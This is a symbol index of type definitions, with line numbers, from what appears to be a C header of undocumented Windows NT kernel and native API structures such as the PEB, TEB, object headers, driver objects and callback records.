  type PROCESS_HANDLE_TRACING_ENABLE (line 1625) | typedef struct _PROCESS_HANDLE_TRACING_ENABLE {
  type PROCESS_HANDLE_TRACING_ENABLE_EX (line 1631) | typedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX {
  type PROCESS_HANDLE_TRACING_ENTRY (line 1642) | typedef struct _PROCESS_HANDLE_TRACING_ENTRY {
  type PROCESS_HANDLE_TRACING_QUERY (line 1649) | typedef struct _PROCESS_HANDLE_TRACING_QUERY {
  type PROCESS_WS_WATCH_INFORMATION (line 1655) | typedef struct _PROCESS_WS_WATCH_INFORMATION {
  type PROCESS_WS_WATCH_INFORMATION_EX (line 1660) | typedef struct _PROCESS_WS_WATCH_INFORMATION_EX {
  type PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION (line 1666) | typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION {
  type SYSTEM_INFORMATION_CLASS (line 1676) | typedef enum _SYSTEM_INFORMATION_CLASS {
  type SYSTEM_VSM_PROTECTION_INFORMATION (line 1934) | typedef struct _SYSTEM_VSM_PROTECTION_INFORMATION {
  type SYSTEM_SPECULATION_CONTROL_INFORMATION (line 1942) | typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION {
  type SYSTEM_SPECULATION_CONTROL_INFORMATION_V2 (line 1981) | typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION_V2 {
  type SYSTEM_KERNEL_VA_SHADOW_INFORMATION (line 2043) | typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION {
  type SYSTEM_CODEINTEGRITY_INFORMATION (line 2061) | typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION {
  type HV_DETAILS (line 2083) | typedef struct _HV_DETAILS {
  type HV_VENDOR_AND_MAX_FUNCTION (line 2087) | typedef struct _HV_VENDOR_AND_MAX_FUNCTION {
  type SYSTEM_HYPERVISOR_DETAIL_INFORMATION (line 2092) | typedef struct _SYSTEM_HYPERVISOR_DETAIL_INFORMATION {
  type SYSTEM_HYPERVISOR_QUERY_INFORMATION (line 2102) | typedef struct _SYSTEM_HYPERVISOR_QUERY_INFORMATION {
  type SYSTEM_VHD_BOOT_INFORMATION (line 2125) | typedef struct _SYSTEM_VHD_BOOT_INFORMATION {
  type SYSTEM_OBJECTTYPE_INFORMATION (line 2131) | typedef struct _SYSTEM_OBJECTTYPE_INFORMATION {
  type SYSTEM_OBJECT_INFORMATION (line 2145) | typedef struct _SYSTEM_OBJECT_INFORMATION {
  type FILE_PATH (line 2164) | typedef struct _FILE_PATH {
  type BOOT_ENTRY (line 2171) | typedef struct _BOOT_ENTRY {
  type BOOT_ENTRY_LIST (line 2182) | typedef struct _BOOT_ENTRY_LIST {
  type FILE_INFORMATION_CLASS (line 2237) | typedef enum _FILE_INFORMATION_CLASS {
  type FS_INFORMATION_CLASS (line 2323) | typedef enum _FSINFOCLASS {
  type FILE_BASIC_INFORMATION (line 2342) | typedef struct _FILE_BASIC_INFORMATION {
  type FILE_STANDARD_INFORMATION (line 2350) | typedef struct _FILE_STANDARD_INFORMATION {
  type FILE_STANDARD_INFORMATION_EX (line 2358) | typedef struct _FILE_STANDARD_INFORMATION_EX {
  type FILE_INTERNAL_INFORMATION (line 2368) | typedef struct _FILE_INTERNAL_INFORMATION {
  type FILE_EA_INFORMATION (line 2372) | typedef struct _FILE_EA_INFORMATION {
  type FILE_ACCESS_INFORMATION (line 2376) | typedef struct _FILE_ACCESS_INFORMATION {
  type FILE_POSITION_INFORMATION (line 2380) | typedef struct _FILE_POSITION_INFORMATION {
  type FILE_MODE_INFORMATION (line 2384) | typedef struct _FILE_MODE_INFORMATION {
  type FILE_ALIGNMENT_INFORMATION (line 2388) | typedef struct _FILE_ALIGNMENT_INFORMATION {
  type FILE_NAME_INFORMATION (line 2392) | typedef struct _FILE_NAME_INFORMATION {
  type FILE_ALL_INFORMATION (line 2397) | typedef struct _FILE_ALL_INFORMATION {
  type FILE_NETWORK_OPEN_INFORMATION (line 2409) | typedef struct _FILE_NETWORK_OPEN_INFORMATION {
  type FILE_ATTRIBUTE_TAG_INFORMATION (line 2419) | typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {
  type FILE_ALLOCATION_INFORMATION (line 2424) | typedef struct _FILE_ALLOCATION_INFORMATION {
  type FILE_COMPRESSION_INFORMATION (line 2428) | typedef struct _FILE_COMPRESSION_INFORMATION {
  type FILE_DISPOSITION_INFORMATION (line 2437) | typedef struct _FILE_DISPOSITION_INFORMATION {
  type FILE_END_OF_FILE_INFORMATION (line 2441) | typedef struct _FILE_END_OF_FILE_INFORMATION {
  type FILE_VALID_DATA_LENGTH_INFORMATION (line 2445) | typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {
  type FILE_LINK_INFORMATION (line 2449) | typedef struct _FILE_LINK_INFORMATION {
  type FILE_MOVE_CLUSTER_INFORMATION (line 2456) | typedef struct _FILE_MOVE_CLUSTER_INFORMATION {
  type FILE_RENAME_INFORMATION (line 2463) | typedef struct _FILE_RENAME_INFORMATION {
  type FILE_STREAM_INFORMATION (line 2470) | typedef struct _FILE_STREAM_INFORMATION {
  type FILE_TRACKING_INFORMATION (line 2478) | typedef struct _FILE_TRACKING_INFORMATION {
  type FILE_COMPLETION_INFORMATION (line 2484) | typedef struct _FILE_COMPLETION_INFORMATION {
  type FILE_PIPE_INFORMATION (line 2535) | typedef struct _FILE_PIPE_INFORMATION {
  type FILE_PIPE_LOCAL_INFORMATION (line 2540) | typedef struct _FILE_PIPE_LOCAL_INFORMATION {
  type FILE_PIPE_REMOTE_INFORMATION (line 2553) | typedef struct _FILE_PIPE_REMOTE_INFORMATION {
  type FILE_MAILSLOT_QUERY_INFORMATION (line 2558) | typedef struct _FILE_MAILSLOT_QUERY_INFORMATION {
  type FILE_MAILSLOT_SET_INFORMATION (line 2566) | typedef struct _FILE_MAILSLOT_SET_INFORMATION {
  type FILE_REPARSE_POINT_INFORMATION (line 2570) | typedef struct _FILE_REPARSE_POINT_INFORMATION {
  type FILE_LINK_ENTRY_INFORMATION (line 2575) | typedef struct _FILE_LINK_ENTRY_INFORMATION {
  type FILE_LINKS_INFORMATION (line 2582) | typedef struct _FILE_LINKS_INFORMATION {
  type FILE_NETWORK_PHYSICAL_NAME_INFORMATION (line 2588) | typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION {
  type FILE_STANDARD_LINK_INFORMATION (line 2593) | typedef struct _FILE_STANDARD_LINK_INFORMATION {
  type FILE_SFIO_RESERVE_INFORMATION (line 2600) | typedef struct _FILE_SFIO_RESERVE_INFORMATION {
  type FILE_SFIO_VOLUME_INFORMATION (line 2609) | typedef struct _FILE_SFIO_VOLUME_INFORMATION {
  type FILE_FULL_EA_INFORMATION (line 2636) | typedef struct _FILE_FULL_EA_INFORMATION {
  type FILE_GET_EA_INFORMATION (line 2644) | typedef struct _FILE_GET_EA_INFORMATION {
  type FILE_GET_QUOTA_INFORMATION (line 2650) | typedef struct _FILE_GET_QUOTA_INFORMATION {
  type FILE_QUOTA_INFORMATION (line 2656) | typedef struct _FILE_QUOTA_INFORMATION {
  type FILE_DIRECTORY_INFORMATION (line 2666) | typedef struct _FILE_DIRECTORY_INFORMATION {
  type FILE_FULL_DIR_INFORMATION (line 2680) | typedef struct _FILE_FULL_DIR_INFORMATION {
  type FILE_ID_FULL_DIR_INFORMATION (line 2695) | typedef struct _FILE_ID_FULL_DIR_INFORMATION {
  type FILE_BOTH_DIR_INFORMATION (line 2711) | typedef struct _FILE_BOTH_DIR_INFORMATION {
  type FILE_ID_BOTH_DIR_INFORMATION (line 2728) | typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
  type FILE_NAMES_INFORMATION (line 2746) | typedef struct _FILE_NAMES_INFORMATION {
  type FILE_OBJECTID_INFORMATION (line 2753) | typedef struct _FILE_OBJECTID_INFORMATION {
  type FILE_FS_VOLUME_INFORMATION (line 2766) | typedef struct _FILE_FS_VOLUME_INFORMATION {
  type FILE_ID_GLOBAL_TX_DIR_INFORMATION (line 2774) | typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION
  type SECTION_INFORMATION_CLASS (line 2800) | typedef enum _SECTION_INFORMATION_CLASS {
  type SECTION_BASIC_INFORMATION (line 2809) | typedef struct _SECTION_BASIC_INFO {
  type SECTION_IMAGE_INFORMATION (line 2815) | typedef struct _SECTION_IMAGE_INFORMATION {
  type MI_EXTRA_IMAGE_INFORMATION (line 2860) | typedef struct _MI_EXTRA_IMAGE_INFORMATION {
  type MI_SECTION_IMAGE_INFORMATION (line 2865) | typedef struct _MI_SECTION_IMAGE_INFORMATION {
  type SECTION_IMAGE_INFORMATION64 (line 2870) | typedef struct _SECTION_IMAGE_INFORMATION64 {
  type SECTION_INTERNAL_IMAGE_INFORMATION (line 2915) | typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION {
  type SECTION_INHERIT (line 2935) | typedef enum _SECTION_INHERIT {
  type KSERVICE_TABLE_DESCRIPTOR (line 3012) | typedef struct _KSERVICE_TABLE_DESCRIPTOR {
  type SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 (line 3027) | typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 {
  type SYSTEM_BOOT_ENVIRONMENT_INFORMATION (line 3033) | typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION {
  type KEY_INFORMATION_CLASS (line 3061) | typedef enum _KEY_INFORMATION_CLASS {
  type KEY_SET_INFORMATION_CLASS (line 3075) | typedef enum _KEY_SET_INFORMATION_CLASS {
  type KEY_FULL_INFORMATION (line 3086) | typedef struct _KEY_FULL_INFORMATION {
  type KEY_BASIC_INFORMATION (line 3100) | typedef struct _KEY_BASIC_INFORMATION {
  type KEY_VALUE_INFORMATION_CLASS (line 3107) | typedef enum _KEY_VALUE_INFORMATION_CLASS {
  type KEY_VALUE_BASIC_INFORMATION (line 3117) | typedef struct _KEY_VALUE_BASIC_INFORMATION {
  type KEY_VALUE_FULL_INFORMATION (line 3124) | typedef struct _KEY_VALUE_FULL_INFORMATION {
  type KEY_VALUE_PARTIAL_INFORMATION (line 3134) | typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
  type KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 (line 3141) | typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 {
  type KEY_VALUE_ENTRY (line 3147) | typedef struct _KEY_VALUE_ENTRY {
  type TIME_FIELDS (line 3163) | typedef struct _TIME_FIELDS {
  type TIME_FIELDS (line 3173) | typedef TIME_FIELDS *PTIME_FIELDS;
  type SYSTEM_HANDLE_TABLE_ENTRY_INFO (line 3183) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
  type SYSTEM_HANDLE_INFORMATION (line 3193) | typedef struct _SYSTEM_HANDLE_INFORMATION {
  type SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX (line 3198) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
  type SYSTEM_HANDLE_INFORMATION_EX (line 3209) | typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
  type OBJECT_DIRECTORY_ENTRY (line 3315) | typedef struct _OBJECT_DIRECTORY_ENTRY {
  type EX_PUSH_LOCK (line 3321) | typedef struct _EX_PUSH_LOCK {
  type EX_PUSH_LOCK_AUTO_EXPAND_STATE (line 3335) | typedef struct _EX_PUSH_LOCK_AUTO_EXPAND_STATE {
  type EX_PUSH_LOCK_AUTO_EXPAND (line 3346) | typedef struct _EX_PUSH_LOCK_AUTO_EXPAND {
  type OBJECT_NAMESPACE_LOOKUPTABLE (line 3352) | typedef struct _OBJECT_NAMESPACE_LOOKUPTABLE {
  type OBJECT_NAMESPACE_ENTRY (line 3358) | typedef struct _OBJECT_NAMESPACE_ENTRY {
  type BOUNDARY_ENTRY_TYPE (line 3367) | typedef enum _BOUNDARY_ENTRY_TYPE {
  type OBJECT_BOUNDARY_ENTRY (line 3374) | typedef struct _OBJECT_BOUNDARY_ENTRY {
  type OBJECT_BOUNDARY_DESCRIPTOR (line 3379) | typedef struct _OBJECT_BOUNDARY_DESCRIPTOR {
  type OBJECT_DIRECTORY (line 3386) | typedef struct _OBJECT_DIRECTORY {
  type OBJECT_DIRECTORY_V2 (line 3395) | typedef struct _OBJECT_DIRECTORY_V2 {
  type OBJECT_DIRECTORY_V3 (line 3406) | typedef struct _OBJECT_DIRECTORY_V3 {
  type OBJECT_HEADER_NAME_INFO (line 3417) | typedef struct _OBJECT_HEADER_NAME_INFO {
  type OBJECT_HEADER_CREATOR_INFO (line 3423) | typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32
  type OBJECT_HANDLE_COUNT_ENTRY (line 3430) | typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16
  type OBJECT_HEADER_HANDLE_INFO (line 3439) | typedef struct _OBJECT_HEADER_HANDLE_INFO { // Size=16
  type OBJECT_HEADER_PROCESS_INFO (line 3446) | typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16
  type OBJECT_HEADER_QUOTA_INFO (line 3451) | typedef struct _OBJECT_HEADER_QUOTA_INFO {
  type OBJECT_HEADER_PADDING_INFO (line 3459) | typedef struct _OBJECT_HEADER_PADDING_INFO {
  type OBJECT_HEADER_AUDIT_INFO (line 3463) | typedef struct _OBJECT_HEADER_AUDIT_INFO {
  type OBJECT_HEADER_EXTENDED_INFO (line 3468) | typedef struct _OBJECT_HEADER_EXTENDED_INFO {
  type OB_HANDLE_REVOCATION_BLOCK (line 3473) | typedef struct _OB_HANDLE_REVOCATION_BLOCK
  type OBJECT_HEADER_HANDLE_REVOCATION_INFO (line 3480) | typedef struct _OBJECT_HEADER_HANDLE_REVOCATION_INFO {
  type QUAD (line 3487) | typedef struct _QUAD {
  type OBJECT_CREATE_INFORMATION (line 3494) | typedef struct _OBJECT_CREATE_INFORMATION {
  type SECURITY_CLIENT_CONTEXT (line 3506) | typedef struct _SECURITY_CLIENT_CONTEXT {
  type POOL_TYPE (line 3516) | typedef enum _POOL_TYPE {
  type OBJECT_TYPE_INITIALIZER_COMPATIBLE (line 3545) | typedef struct _OBJECT_TYPE_INITIALIZER_COMPATIBLE {// Size=120
  type OBJECT_TYPE_COMPATIBLE (line 3569) | typedef struct _OBJECT_TYPE_COMPATIBLE {
  type POBJECT_TYPE_COMPATIBLE (line 3580) | typedef POBJECT_TYPE_COMPATIBLE POBJECT_TYPE;
  type OBJECT_TYPE_INITIALIZER_7 (line 3586) | typedef struct _OBJECT_TYPE_INITIALIZER_7 {
  type OBJECT_TYPE_INITIALIZER_8 (line 3623) | typedef struct _OBJECT_TYPE_INITIALIZER_8 {
  type OBJECT_TYPE_INITIALIZER_RS1 (line 3665) | typedef struct _OBJECT_TYPE_INITIALIZER_RS1 {
  type OBJECT_TYPE_INITIALIZER_RS2 (line 3719) | typedef struct _OBJECT_TYPE_INITIALIZER_RS2 {
  type OBJECT_TYPE_7 (line 3768) | typedef struct _OBJECT_TYPE_7 {
  type OBJECT_TYPE_8 (line 3783) | typedef struct _OBJECT_TYPE_8 {
  type OBJECT_TYPE_RS1 (line 3798) | typedef struct _OBJECT_TYPE_RS1 {
  type OBJECT_TYPE_RS2 (line 3813) | typedef struct _OBJECT_TYPE_RS2 {
  type OBJECT_HEADER (line 3832) | typedef struct _OBJECT_HEADER {
  type OBJECT_HEADER_X (line 3856) | typedef struct _OBJECT_HEADER_X {
  type DEVICE_MAP_V1 (line 3919) | typedef struct _DEVICE_MAP_V1 {
  type DEVICE_MAP_COMPATIBLE (line 3928) | typedef struct _DEVICE_MAP_V1 DEVICE_MAP_COMPATIBLE;
  type _DEVICE_MAP_V1 (line 3929) | struct _DEVICE_MAP_V1
  type DEVICE_MAP_V2 (line 3932) | typedef struct _DEVICE_MAP_V2 {
  type DEVICE_MAP_V3 (line 3943) | typedef struct _DEVICE_MAP_V3 {
  type DISPATCHER_HEADER (line 3966) | typedef struct _DISPATCHER_HEADER {
  type KEVENT (line 4092) | typedef struct _KEVENT {
  type FAST_MUTEX (line 4096) | typedef struct _FAST_MUTEX {
  type KMUTANT (line 4105) | typedef struct _KMUTANT {
  type KSEMAPHORE (line 4113) | typedef struct _KSEMAPHORE {
  type KTIMER (line 4118) | typedef struct _KTIMER {
  type KDEVICE_QUEUE_ENTRY (line 4127) | typedef struct _KDEVICE_QUEUE_ENTRY {
  type KDPC_IMPORTANCE (line 4133) | typedef enum _KDPC_IMPORTANCE {
  type KDPC (line 4139) | typedef struct _KDPC {
  type WAIT_CONTEXT_BLOCK (line 4158) | typedef struct _WAIT_CONTEXT_BLOCK {
  type VPB (line 4179) | typedef struct _VPB {
  type KQUEUE (line 4191) | typedef struct _KQUEUE {
  type KDEVICE_QUEUE (line 4199) | typedef struct _KDEVICE_QUEUE {
  type _KOBJECTS (line 4223) | enum _KOBJECTS {
  type DECLSPEC_ALIGN (line 4393) | struct DECLSPEC_ALIGN
  type _DRIVER_OBJECT (line 4397) | struct _DRIVER_OBJECT
  type _DEVICE_OBJECT (line 4398) | struct _DEVICE_OBJECT
  type _DEVICE_OBJECT (line 4399) | struct _DEVICE_OBJECT
  type _IRP (line 4400) | struct _IRP
  type _DEVOBJ_EXTENSION (line 4428) | struct _DEVOBJ_EXTENSION
  type _DEVICE_OBJECT (line 4433) | struct _DEVICE_OBJECT
  type DEVOBJ_EXTENSION (line 4439) | typedef struct _DEVOBJ_EXTENSION {
  type FAST_IO_DISPATCH (line 4510) | typedef struct _FAST_IO_DISPATCH {
  type DRIVER_EXTENSION (line 4587) | typedef struct _DRIVER_EXTENSION {
  type DRIVER_EXTENSION_V2 (line 4620) | typedef struct _DRIVER_EXTENSION_V2 {
  type DRIVER_EXTENSION_V3 (line 4630) | typedef struct _DRIVER_EXTENSION_V3 {
  type DRIVER_EXTENSION_V4 (line 4642) | typedef struct _DRIVER_EXTENSION_V4 {
  type DRIVER_EXTENSION_V5 (line 4655) | typedef struct _DRIVER_EXTENSION_V5 {
  type DRIVER_OBJECT (line 4679) | typedef struct _DRIVER_OBJECT {
  type _DRIVER_OBJECT (line 4740) | struct _DRIVER_OBJECT
  type SECTION_OBJECT_POINTERS (line 4747) | typedef struct _SECTION_OBJECT_POINTERS {
  type SECTION_OBJECT_POINTERS (line 4752) | typedef SECTION_OBJECT_POINTERS* PSECTION_OBJECT_POINTERS;
  type IO_COMPLETION_CONTEXT (line 4758) | typedef struct _IO_COMPLETION_CONTEXT {
  type FILE_OBJECT (line 4763) | typedef struct _FILE_OBJECT {
  type _FILE_OBJECT (line 4795) | struct _FILE_OBJECT
  type ULONG_PTR (line 4797) | typedef ULONG_PTR ERESOURCE_THREAD;
  type ERESOURCE_THREAD (line 4798) | typedef ERESOURCE_THREAD* PERESOURCE_THREAD;
  type OWNER_ENTRY (line 4800) | typedef struct _OWNER_ENTRY {
  type ERESOURCE (line 4809) | typedef struct _ERESOURCE {
  type ULONG (line 4835) | typedef ULONG MMSECTION_FLAGS2;
  type MMEXTEND_INFO (line 4837) | typedef struct _MMEXTEND_INFO {
  type MMSECTION_FLAGS (line 4845) | typedef struct _MMSECTION_FLAGS {
  type SEGMENT_FLAGS (line 4880) | typedef struct _SEGMENT_FLAGS {
  type MI_SYSTEM_CACHE_VIEW_ATTRIBUTES (line 4911) | typedef struct _MI_SYSTEM_CACHE_VIEW_ATTRIBUTES {
  type MI_REVERSE_VIEW_MAP (line 4924) | typedef struct _MI_REVERSE_VIEW_MAP {
  type RTL_BALANCED_NODE (line 4943) | typedef struct _RTL_BALANCED_NODE {
  type SEGMENT (line 4961) | typedef struct _SEGMENT {
  type CONTROL_AREA_COMPAT (line 4994) | typedef struct _CONTROL_AREA_COMPAT {
  type MMVAD_SHORT (line 5065) | typedef struct _MMVAD_SHORT {
  type MI_VAD_SEQUENTIAL_INFO (line 5092) | typedef struct _MI_VAD_SEQUENTIAL_INFO {
  type MMVAD_FLAGS (line 5111) | typedef struct _MMVAD_FLAGS {
  type MMVAD_FLAGS1 (line 5136) | typedef struct _MMVAD_FLAGS1 {
  type MMVAD_FLAGS2 (line 5149) | typedef struct _MMVAD_FLAGS2 {
  type MMVAD (line 5162) | typedef struct _MMVAD {
  type MMVIEW (line 5194) | typedef struct _MMVIEW {
  type MI_IMAGE_ENTRY_IN_SESSION (line 5205) | typedef struct _MI_IMAGE_ENTRY_IN_SESSION {
  type SUBSECTION_COMPAT (line 5215) | typedef struct _SUBSECTION_COMPAT {
  type SECTION_COMPAT (line 5232) | typedef struct _SECTION_COMPAT {
  type CM_SYSTEM_CONTROL_VECTOR_V1 (line 5271) | typedef struct _CM_SYSTEM_CONTROL_VECTOR_V1 {
  type CM_SYSTEM_CONTROL_VECTOR_V2 (line 5282) | typedef struct _CM_SYSTEM_CONTROL_VECTOR_V2 {
  type NTSTATUS (line 5296) | typedef NTSTATUS(*PEX_CALLBACK_FUNCTION) (
  type EX_EXTENSION_INFORMATION_V1 (line 5306) | typedef struct _EX_EXTENSION_INFORMATION_V1 {
  type EX_EXTENSION_VERSION (line 5312) | typedef struct _EX_EXTENSION_VERSION {
  type EX_EXTENSION_INFORMATION_V2 (line 5317) | typedef struct _EX_EXTENSION_INFORMATION_V2 {
  type EX_HOST_TABLE (line 5323) | typedef struct _EX_HOST_TABLE {
  type EX_HOST_PARAMS (line 5328) | typedef struct _EX_HOST_PARAMS {
  type EX_HOST_ENTRY_V1 (line 5336) | typedef struct _EX_HOST_ENTRY_V1 {
  type EX_HOST_ENTRY_V2 (line 5346) | typedef struct _EX_HOST_ENTRY_V2 {
  type EX_EXTENSION_REGISTRATION (line 5365) | typedef struct _EX_EXTENSION_REGISTRATION {
  type EX_CALLBACK (line 5372) | typedef struct _EX_CALLBACK {
  type EX_CALLBACK_ROUTINE_BLOCK (line 5376) | typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
  type KBUGCHECK_CALLBACK_RECORD (line 5382) | typedef struct _KBUGCHECK_CALLBACK_RECORD {
  type KBUGCHECK_CALLBACK_REASON (line 5392) | typedef enum _KBUGCHECK_CALLBACK_REASON {
  type KBUGCHECK_REASON_CALLBACK_RECORD (line 5403) | typedef struct _KBUGCHECK_REASON_CALLBACK_RECORD {
  type CM_CALLBACK_CONTEXT_BLOCK (line 5412) | typedef struct _CM_CALLBACK_CONTEXT_BLOCK {
  type SEP_LOGON_SESSION_TERMINATED_NOTIFICATION (line 5422) | typedef struct _SEP_LOGON_SESSION_TERMINATED_NOTIFICATION {
  type NOTIFICATION_PACKET (line 5427) | typedef struct _NOTIFICATION_PACKET {
  type SHUTDOWN_PACKET (line 5433) | typedef struct _SHUTDOWN_PACKET {
  type CALLBACK_OBJECT (line 5440) | typedef struct _CALLBACK_OBJECT {
  type CALLBACK_OBJECT_V2 (line 5449) | typedef struct _CALLBACK_OBJECT_V2 {
  type CALLBACK_REGISTRATION (line 5457) | typedef struct _CALLBACK_REGISTRATION {
  type ULONG (line 5466) | typedef ULONG OB_OPERATION;
  type OB_CALLBACK_CONTEXT_BLOCK (line 5471) | typedef struct _OB_CALLBACK_CONTEXT_BLOCK {
  type OB_REGISTRATION (line 5482) | typedef struct _OB_REGISTRATION {
  type POP_POWER_SETTING_REGISTRATION_V1 (line 5492) | typedef struct _POP_POWER_SETTING_REGISTRATION_V1 {
  type POP_POWER_SETTING_REGISTRATION_V2 (line 5509) | typedef struct _POP_POWER_SETTING_REGISTRATION_V2 {
  type RTL_CALLBACK_REGISTER (line 5523) | typedef struct _RTL_CALLBACK_REGISTER {
  type VOID (line 5530) | typedef
  type PO_COALESCING_CALLBACK_V1 (line 5537) | typedef struct _PO_COALESCING_CALLBACK_V1 {
  type PO_COALESCING_CALLBACK_V2 (line 5546) | typedef struct _PO_COALESCING_CALLBACK_V2 {
  type BOOLEAN (line 5557) | typedef
  type KNMI_HANDLER_CALLBACK (line 5564) | typedef struct _KNMI_HANDLER_CALLBACK {
  type SERVER_SILO_MONITOR (line 5585) | typedef struct _SERVER_SILO_MONITOR {
  type EMP_CALLBACK_DB_RECORD (line 5602) | typedef struct _EMP_CALLBACK_DB_RECORD {
  type EMP_CALLBACK_LIST_ENTRY (line 5615) | typedef struct _EMP_CALLBACK_LIST_ENTRY {
  type IO_NOTIFICATION_EVENT_CATEGORY (line 5620) | typedef enum _IO_NOTIFICATION_EVENT_CATEGORY {
  type NTSTATUS (line 5627) | typedef
  type KGUARDED_MUTEX (line 5634) | typedef struct _KGUARDED_MUTEX {
  type DEVICE_CLASS_NOTIFY_ENTRY (line 5650) | typedef struct _DEVICE_CLASS_NOTIFY_ENTRY {
  type RTL_PROCESS_MODULE_INFORMATION (line 5683) | typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  type RTL_PROCESS_MODULE_INFORMATION_EX (line 5696) | typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX {
  type RTL_PROCESS_MODULES (line 5704) | typedef struct _RTL_PROCESS_MODULES {
  type MEMORY_INFORMATION_CLASS (line 5717) | typedef enum _MEMORY_INFORMATION_CLASS {
  type VIRTUAL_MEMORY_INFORMATION_CLASS (line 5735) | typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS {
  type MEMORY_REGION_INFORMATION (line 5742) | typedef struct _MEMORY_REGION_INFORMATION {
  type MEMORY_REGION_INFORMATION_V2 (line 5765) | typedef struct _MEMORY_REGION_INFORMATION_V2 {
  type MEMORY_REGION_INFORMATION_V3 (line 5789) | typedef struct _MEMORY_REGION_INFORMATION_V3 {
  type MEMORY_RANGE_ENTRY (line 5819) | typedef struct _MEMORY_RANGE_ENTRY {
  type MEMORY_IMAGE_INFORMATION (line 5824) | typedef struct _MEMORY_IMAGE_INFORMATION {
  type MEMORY_ENCLAVE_IMAGE_INFORMATION (line 5841) | typedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION {
  type MEMORY_WORKING_SET_BLOCK (line 5847) | typedef struct _MEMORY_WORKING_SET_BLOCK {
  type MEMORY_WORKING_SET_INFORMATION (line 5859) | typedef struct _MEMORY_WORKING_SET_INFORMATION {
  type MEMORY_WORKING_SET_EX_BLOCK (line 5864) | typedef struct _MEMORY_WORKING_SET_EX_BLOCK {
  type MEMORY_WORKING_SET_EX_INFORMATION (line 5902) | typedef struct _MEMORY_WORKING_SET_EX_INFORMATION {
  type SYSTEM_FIRMWARE_TABLE_ACTION (line 5942) | typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION {
  type SYSTEM_FIRMWARE_TABLE_INFORMATION (line 5948) | typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION {
  type ULONG (line 5972) | typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
  type ULONG (line 5973) | typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
  type ULONG (line 5974) | typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
  type STRING32 (line 5980) | typedef struct _STRING32 {
  type STRING32 (line 5985) | typedef STRING32 *PSTRING32;
  type STRING32 (line 5987) | typedef STRING32 UNICODE_STRING32;
  type LIST_ENTRY32 (line 5990) | typedef struct LIST_ENTRY32 {
  type LIST_ENTRY32 (line 5994) | typedef LIST_ENTRY32 *PLIST_ENTRY32;
  type LIST_ENTRY64 (line 5996) | typedef struct LIST_ENTRY64 {
  type LIST_ENTRY64 (line 6000) | typedef LIST_ENTRY64 *PLIST_ENTRY64;
  type PEB_LDR_DATA32 (line 6005) | typedef struct _PEB_LDR_DATA32 {
  type LDR_DATA_TABLE_ENTRY32 (line 6019) | typedef struct _LDR_DATA_TABLE_ENTRY32 {
  type CURDIR32 (line 6055) | typedef struct _CURDIR32 {
  type RTL_DRIVE_LETTER_CURDIR32 (line 6060) | typedef struct _RTL_DRIVE_LETTER_CURDIR32 {
  type RTL_USER_PROCESS_PARAMETERS32 (line 6067) | typedef struct _RTL_USER_PROCESS_PARAMETERS32 {
  type PEB32 (line 6106) | typedef struct _PEB32 {
  type GDI_TEB_BATCH32 (line 6208) | typedef struct _GDI_TEB_BATCH32 {
  type NT_TIB32 (line 6218) | typedef struct _NT_TIB32 {
  type NT_TIB64 (line 6231) | typedef struct _NT_TIB64 {
  type TEB32 (line 6245) | typedef struct _TEB32 {
  type PEB_LDR_DATA (line 6294) | typedef struct _PEB_LDR_DATA {
  type _ACTIVATION_CONTEXT_DATA (line 6326) | struct _ACTIVATION_CONTEXT_DATA
  type _ASSEMBLY_STORAGE_MAP (line 6327) | struct _ASSEMBLY_STORAGE_MAP
  type CURDIR (line 6329) | typedef struct _CURDIR {
  type RTL_DRIVE_LETTER_CURDIR (line 6337) | typedef struct _RTL_DRIVE_LETTER_CURDIR {
  type RTL_USER_PROCESS_PARAMETERS (line 6344) | typedef struct _RTL_USER_PROCESS_PARAMETERS {
  type PEB (line 6427) | typedef struct _PEB {
  type TEB_ACTIVE_FRAME_CONTEXT (line 6639) | typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
  type TEB_ACTIVE_FRAME (line 6644) | typedef struct _TEB_ACTIVE_FRAME {
  type GDI_TEB_BATCH (line 6652) | typedef struct _GDI_TEB_BATCH {
  type ACTIVATION_CONTEXT_DATA (line 6659) | typedef struct _ACTIVATION_CONTEXT_DATA {
  type ASSEMBLY_STORAGE_MAP_ENTRY (line 6670) | typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY {
  type ASSEMBLY_STORAGE_MAP (line 6676) | typedef struct _ASSEMBLY_STORAGE_MAP {
  type ACTIVATION_CONTEXT (line 6691) | typedef struct _ACTIVATION_CONTEXT {
